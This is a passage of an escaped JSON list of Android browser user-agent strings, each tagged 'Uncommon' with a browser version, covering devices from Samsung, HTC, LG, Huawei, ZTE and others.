Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID8048 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; ru-ru; GT-P7500 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5200 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-gb; Sony Tablet S Build\\/TISU0143) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC6600LVW 4G Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Android SDK built for x86 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; GT-I9305 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; GT-I8190L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.4.2; SCH-I535 Build\\/KOT49H)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; ADR8995XE Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; sv-se; NetTAB THOR mini Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; ar-ae; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.1.1; Lenovo TB2-X30F Build\\/LenovoTB2-X30F)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; GT-P5113 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-au; GT-I9305T Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; A210 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; M4 SS1070 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-I9070 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; KFSOWI Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-au; GT-P5210 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; he-il; GT-S7580L Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; ADR6425LVW 4G Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-S6012 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ME173X Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-E980\\/E98010g Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; fr-fr; GT-S5839i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-us; SAMSUNG-SGH-I897\\/I897UCJH7 Build\\/ECLAIR) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; de-de; GT-P5100 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; fr-fr; GT-N8010 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-E739 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 3.2.1; en-us; K1 Build\\/HTK75C) AppleWebKit\\/534.13 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.13\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; HTCONE Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; C6522N Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-S7500 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; LG-LG855 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; GT-P1010 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-gb; GT-S5570 Build\\/FROYO) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S5301B Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.3; en-us; HTC6500LVW 4G Build\\/KTU84L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"DDG-Android-3.0.14\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; IdeaTabA1000-F Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; AX107 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-I545 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; MID713 Build\\/MID713) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; GT-S7562L Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; rk31sdk Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-gb; Endeavour 800NG Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; MID7048 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; VM670 Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; LG-P870\\/P87020d Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; ru-ru; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; de-de; SM-T110 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; SAMSUNG-SGH-I747 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N8000 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Z665C Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N7100 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; C6730 Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S7500L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-gb; HTC_WildfireS_A510e Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; GT-I9100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N9520 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0; en-us; A51 Build\\/MocorDroid4.0) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 6.0.1; SM-G610F Build\\/MMB29K)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-P3110 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0\\u00a0(Linux\\u00a0U\\u00a0Android\\u00a04.1.1\\u00a0en-gb\\u00a0Build\\/KLP)\\u00a0AppleWebKit\\/534.30\\u00a0(KHTML,\\u00a0likeGecko)\\u00a0Version\\/4.0\\u00a0Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; SCH-S950C Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-mx; ALCATEL ONE TOUCH 7040A Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-gb; HTC Wildfire Build\\/FRG83D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; Vortex Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.1.1; Navori QL Stix 3500 Build\\/LMY48Y)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ph; GT-I9300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; es-us; Sprint APA9292KT Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; PM36100\\/1.17.502.5 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; M865C Build\\/HuaweiM865C) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; Galaxy Nexus Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; es-us; GT-P5110 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; es-us; HUAWEI Y530-U051 Build\\/HuaweiY530-U051) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Hydro Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; ALCATEL 4015T Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.2 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-gb; SM-T520 Build\\/KOT49H) AppleWebKit\\/537.16 (KHTML, like Gecko) Version\\/4.0 Safari\\/537.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-us; LG-P999 Build\\/GRI40) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; HUAWEI Y330-U01 Build\\/HuaweiY330-U01) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; it-it; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0; en-us; GT-I9300 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; pt-br; SM-G355M Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; ar-ae; GT-S7582 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; ar-ae; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; Z932L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.1 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; it-it; CT1002 Build\\/ICS.b02ref.20120331) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; D2-721G Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; M7 Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.3.1; WT22M-FI Build\\/JLS36I)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I437Z Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z669 Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; LG-LW770 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-S5282 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-us; HUAWEI Y600-U151 Build\\/HUAWEIY600-U151) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/2.1.0 (Linux; U; Android 5.0.2; SM-T530NU Build\\/LRX22G)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; GT-N7100 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T879 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; zh-cn; HUAWEI G700-U00 Build\\/HuaweiG700-U00) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; es-es; Micromax A47 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-M950 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; ZTE-X500 Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; Z797C Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; AT300 Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; U8667 Build\\/HuaweiU8667) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; T-Mobile myTouch Build\\/HuaweiU8680) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.1; en-us; PantechP8000 Build\\/FRG83) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; ZTE-N910 Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile 